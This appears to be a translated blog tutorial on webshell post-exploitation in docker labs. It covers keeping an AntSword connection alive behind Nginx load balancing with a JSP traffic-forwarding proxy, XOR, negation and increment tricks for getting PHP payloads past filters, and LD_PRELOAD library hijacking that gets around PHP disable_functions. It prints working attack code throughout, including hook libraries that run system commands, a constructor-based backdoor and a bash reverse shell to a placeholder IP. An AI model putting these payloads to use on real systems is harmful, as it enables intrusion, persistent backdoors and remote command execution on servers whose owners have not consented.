Table of contents
1. Webshell connection under Nginx load balancing
1. Environment construction and webshell connection
2. The negation operation is bypassed
1. Getting to know LD_PRELOAD first
2.2. Bypassing PHPdisable_function
1. Webshell connection under Nginx load balancing
1. Environment construction and webshell connection
Here use docker to build the environment, unzip it into the /root/AntSword-Labs-master/loadbalance/loadbalance-jsp directory, and directly docker-compose up -d
Link: https://pan.baidu.com/s/1jP9uWlrn0PwTGrnqQ-uZrw?pwd=3pza
Extraction code: 3pza
Then Ant Sword connects directly
Because both servers have ant.jsp, there will be no problem with the connection
After successfully entering the terminal, you can see that every time we execute the hostname -i command, the output will be different. That is because the Nginx load balancing agent is erratic, and it is agented to node1 for a while, and node2 for a while.
Then there is a problem
2. Problems that arise
1. When we execute the command, we have no way of knowing which machine the next request will be handed over to execute, which is what is shown in the above figure.
2. When we upload the tool, because the tool may be large, it will be transmitted in pieces, so how do we know that these data packets will definitely be uploaded to the same server, that is to say, your tool may be divided into two halves, half on one server and the other half on the other
For example, the file I uploaded here is 1M, but when you refresh, the file is divided into two halves
3. Since the target machine cannot go out to the Internet, if you want to go further, you can only use HTTP Tunnel such as reGeorg/HTTPAbs, but in this scenario, all these tunnel scripts fail.
Since I haven't learned the content of this piece, I will briefly talk about it.
When we take down the target server, because the target server is not connected to the Internet, if we want to go to the intranet, we can only use the target server as a proxy, establish a tunnel, and let us proxy to the intranet, but due to Nginx load balancing, the data transmission is halfway may be transferred to another server
How to solve these problems?
3. Solutions
1. Shut down the redundant servers
This solution is theoretically feasible. Turn off the redundant servers and keep only one server. If Nginx cannot detect the heartbeat packet, it will naturally regard other servers as down, so there will be no problem.
But this solution is deadly in the real environment. Turning off the server is a serious security incident, so pass directly
In the experimental environment, if the permissions are sufficient, you can try it
2. Use the shell script to judge whether to execute the command before executing it
The shell script is as follows
#!/bin/bash
MYIP=`hostname -i`
if [ $MYIP == "172.23.0.2" ];then
echo "Node1. I will exec command.\n=========\n"
hostname -i
else
echo "Other. Try again."
fi
Due to the small content and small file size, it can be uploaded directly through Ant Sword, and will not be transferred in pieces
It can be seen that if the ip address is 172.23.0.3, the command will not be executed and Try again will be returned
Conversely, if the ip address is 172.23.0.4, execute the command and output the result of hostname -i
However, this method only solves the first problem --- I don't know which server will execute our command
But the most important second and third problems have not been solved, we still can't upload our tools, and can't determine the direction of the data package
3. Use redundant servers to forward traffic at the web level
Here we can send the traffic data packet sent to 172.23.0.3 to the server we want, which is 172.23.0.2, because the two web servers can access each other
Pass in such a script on each server to forward the traffic to a server, pay attention to modify the ip to the server ip you want
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.23.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
Then don't use Ant Sword to pass in directly at this time, because the amount of data is large, it may be fragmented
We'd better create a new file named antproxy.jsp, and create it a few more times, because other servers may not be created successfully, so refresh it a few times
Then copy our script, save it a few more times, and refresh
until it is 3.22kb
At this time, we edit the connection again and change it to antproxy.jsp
At this time, there will be a problem that there is no connection password in the script, so how can you fill in the password ant?
Is it because the script is finally forwarded or forwarded on ant.jsp, you can see the specific ip above, and the password of ant.jsp is ant
After the connection is successful, we enter the command line
It can be seen that the previous situation has not occurred, the IP address has always been 172.23.0.2, and there will be no more erratic phenomena
2. Webshell filtering bypass
1. XOR operation bypass
First look at a piece of code
<?php
echo "A"^"`";//结果为"!"
?>
Many people will wonder why "!"
The reason why such a result is obtained is that the character "A" and the character "`" are XORed in the code.
In PHP, when two variables are XORed, the string is first converted to an ASCII value, then the ASCII value is converted to binary, and then the XOR is performed. After the XOR is completed, the result is converted from binary to ASCII value, and then Convert an ASCII value to a string. The XOR operation is also sometimes used to swap the values of two variables.
Like the example above
The ASCII value of A is 65, and the corresponding binary value is 0100 0001
`The ASCII value is 96, the corresponding binary value is 0110 0000
In PHP, the XOR operation is when two binary numbers are the same, the XOR is 0, and the difference is 1
Simply put, if one and only one is true, return true
The binary value of XOR is 00100001, the corresponding ASCII value is 33, and the corresponding string value is "!"
Look at the following code again, a typical XOR operation bypass
In PHP, variable names can start with an underscore, so $_ represents a variable named _
<?php
$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
So let's do a question now
This question requires us to execute the getFlag function, pass parameters through GET, and filter the code parameters by letter case and number
This problem can be bypassed by XOR operation
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
<?php
function getFlag(){
echo "{bypass successfully!}";
}
?>
The payload is as follows
?code=$_="`{ { {"^"?<>/";${$_}[_]();&_=getFlag
The result of "`{ { {"^"?<>/" is "_GET", so ${$_}[_]()=$_GET[_](), and at this time _=getFlag
So directly execute getFlag() and get the flag
2. Negative operation bypass
First look at a piece of code
<?php
$a = "getFlag";
echo urlencode(~$a);
?>
The result after running is as follows
It can be seen that this negation~ can help us bypass
Then the above problem can also use this solution
payload
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
%98%9A%8B%B9%93%9E%98 This string of strings is first decoded by urldecode and then handed over to the backend for processing
The negation symbol converts the url-decoded string into getFlag, assigns it to $_, and then executes it to get the flag
3. PHP syntax bypass
Still look at a piece of code first
<?php
$a='Z';
echo ++$a; //AA
echo ++$a; //AB
?>
PHP follows Perl's conventions, not C's, when dealing with arithmetic operations on character variables. For example, in Perl $a = 'Z'; $a++; will turn $a into 'AA', while in C a = 'Z'; a++; will turn a into '['('Z' has an ASCII value of 90 and '[' has an ASCII value of 91). Note that character variables can only be incremented, not decremented, and only pure letters (az and AZ) are supported. Incrementing/decrementing other character variables is invalid, and the original string remains unchanged.
That is to say, 'a'++ => 'b', 'b'++ => 'c'... Therefore, as long as we can get a variable whose value is a, we can obtain it through the self-increment operation All characters in az.
So, how do you get a variable whose value is the string 'a'?
Coincidentally, the first letter of the array (Array) is a capital A, and the fourth letter is a lowercase a. In other words, we can get lowercase and uppercase A at the same time, which means we can get all the letters of az and AZ.
In PHP, if you forcibly concatenate an array and a string, the array will be converted to a string whose value is Array
<?php
echo ''.[];
?>
Then we output the 0th element, which is A
<?php
$_=''.[];
echo $_[0]; //A
?>
Three, the use of LD_PRELOAD
1. Getting to know LD_PRELOAD first
LD_PRELOAD
It is Linux/Unix
an environment variable of the system, which affects the runtime link of the program (Runtime linker), which allows the definition of the dynamic link library that is loaded first before the program runs. This function is mainly used to selectively load the same function in different dynamic link libraries. Through this environment variable, we can load other dynamic link libraries between the main program and its dynamic link library, and even cover the normal function library.
We can rewrite the function called during the running of the program and compile it into a dynamic link library file, and then let the program load the malicious dynamic link library here first through our control of the environment variables, so as to realize our dynamic link library Malicious functions written in .
2. Use LD_PRELOAD
First, let's test the feasibility of this plan internally
Assume this is a normal compiled file named whoami.c
This code implements the judgment of a name array
Compile with gcc -o whoami whoami.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char name[] = "mon";
if (argc < 2) {
printf("usage: %s <given-name>\n", argv[0]);
return 0;
}
if (!strcmp(name, argv[1])) {
printf("\033[0;32;32mYour name Correct!\n\033[m");
return 1;
} else {
printf("\033[0;32;31mYour name Wrong!\n\033[m");
return 0;
}
}
At this time, let's hijack the srtcmp function and name it hook_strcmp.c
make this function always false regardless of
#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
return 0;
}
Compile the function we wrote into a dynamic link library file
gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so
Then import it into the environment variable
export LD_PRELOAD=$PWD/hook_strcmp.so
Execute whoami.c normally before the function is hijacked
Execute whoami.c after being hijacked
Obviously at this point we have hijacked the strcmp function
2.1. Make linux backdoor
In this way, we can use system commands to load the backdoor, because in the operating system, commands under the command line are actually driven by a series of dynamic link libraries
Since they all use the dynamic link library, if we use LD_PRELOAD to replace the dynamic link library that the system command will call, then we can use the system command to call the dynamic link library to realize the malicious code in the malicious dynamic link library we wrote in LD_PRELOAD the implementation of
In linux, we can use readelf -Ws
commands to view, and the storage path of system commands is/uer/bin
readelf -Ws /usr/bin
See what dynamic link libraries are available
Here we choose a link library that is more convenient to operate, and selectstrncmp@GLIBC_2.2.5
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("id");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
The same gcc compiles, and then imports it into the environment variable
gcc -shared -fPIC hook_strncmp.c -o hook_strncmp.so
export LD_PRELOAD=$PWD/hook_strncmp.so
Then execute ls and find that the id is printed, successfully hijacking the function
Since the id can be executed, the command of the reverse shell can be executed, and no demonstration will be given here
2.2. Bypassing PHPdisable_function
Go directly to the directory and run the docker environment
root@localhost:~/antsword/bypass_disable_functions/1# docker-compose up -d
Build the Houant Sword connection
Create a new file and write it to phpinfo(), (if it shows that the new creation fails, enter the docker container)
Execute the following code
chown -R www-data:www-data /var/www/
chmod +x /start.sh
After the new creation is successful, find disable_function, and find that basically the functions that execute commands are prohibited
At this time, LD_PRELOAD can be used to bypass
To bypass disable_function, we need php to start a new process, such as mail, error_log and other functions
Here we use the sendmail function to internally try
CentOS has this function by default, but Ubuntu may not, it needs apt installation
Then readelf -Ws /usr/sbin/sendmail in the same way, choose a simple and easy to override function getuid
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
Note here remember to change to the ip you want to bounce
Then, as in the above steps, gcc compiles
After compiling, we can use the putenv function to realize the setting of the link library. The file name is sendmail.php
Since this is an experimental environment, set the environment variables directly in the root home directory
<?php
putenv('LD_PRELOAD=/root/hook_getuid.so');
mail("a@localhost","","","","");
?>
First monitor nc on the rebound machine, and then run php sendmail.php directly
Successfully rebound the shell
The error_log function can also achieve this effect, but its essence is still sendmail, so I won’t repeat it here
We can find that the above situation actually leads to a very narrow attack surface. In actual situations, it is easy for us to have sendmail not installed, just like when I started testing www- It is impossible to change the php.ini configuration, install sendmail software, etc. with data permissions. So is there any other way?
hijack system new process
Imagine such a way of thinking: use the vulnerability to control the web to start a new process a.bin (even if the process name cannot be specified by me), a.bin internally calls the system function b(), b() is located in the system shared object c.so, So the system loads a total of c.so for this process. I think that the controllable c_evil.so should be loaded first before c.so. c_evil.so contains a malicious function with the same name as b(). Since c_evil.so has a higher priority, Therefore, a.bin will call b() in c_evil.so instead of b() in c.so of the system. At the same time, c_evil.so is controllable to achieve the purpose of executing malicious code. Based on this idea, the goal of executing operating system commands that breaks through the limit of disable_functions is roughly broken down into several steps for local deduction: view the process call system function details, hijack system function injection codes in the operating system environment, and find the internal PHP that starts a new process Function, PHP environment hijack system function injection code.
The system preloads the shared object through LD_PRELOAD. If a way can be found to execute the code when loading without considering hijacking a system function, then it is completely independent of sendmail.
There is an extension modifier of C language in GCC __attribute__((constructor))
, this modifier can make the function modified by it execute before main(), if it appears in our dynamic link library, then once our dynamic link library file is deleted by the system Loading will execute __attribute__((constructor))
the decorated function immediately.
We no longer hijack functions, but directly hijack functions that load dynamic link libraries, so any system commands that need to load dynamic link libraries will execute our backdoor after success
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
}
Same as above, gcc compiles, then imports environment variables
You can see that both ls and whoami have executed the id command
We can use the Ant Sword plugin to bypass disable_function
The specific installation steps can be found in the blogger's blog
Select LD_PRELOAD, click start
Then edit the connection and change it to .antproxy.php, which is the script automatically generated by Ant Sword
Execute the command again and find that the execution is successful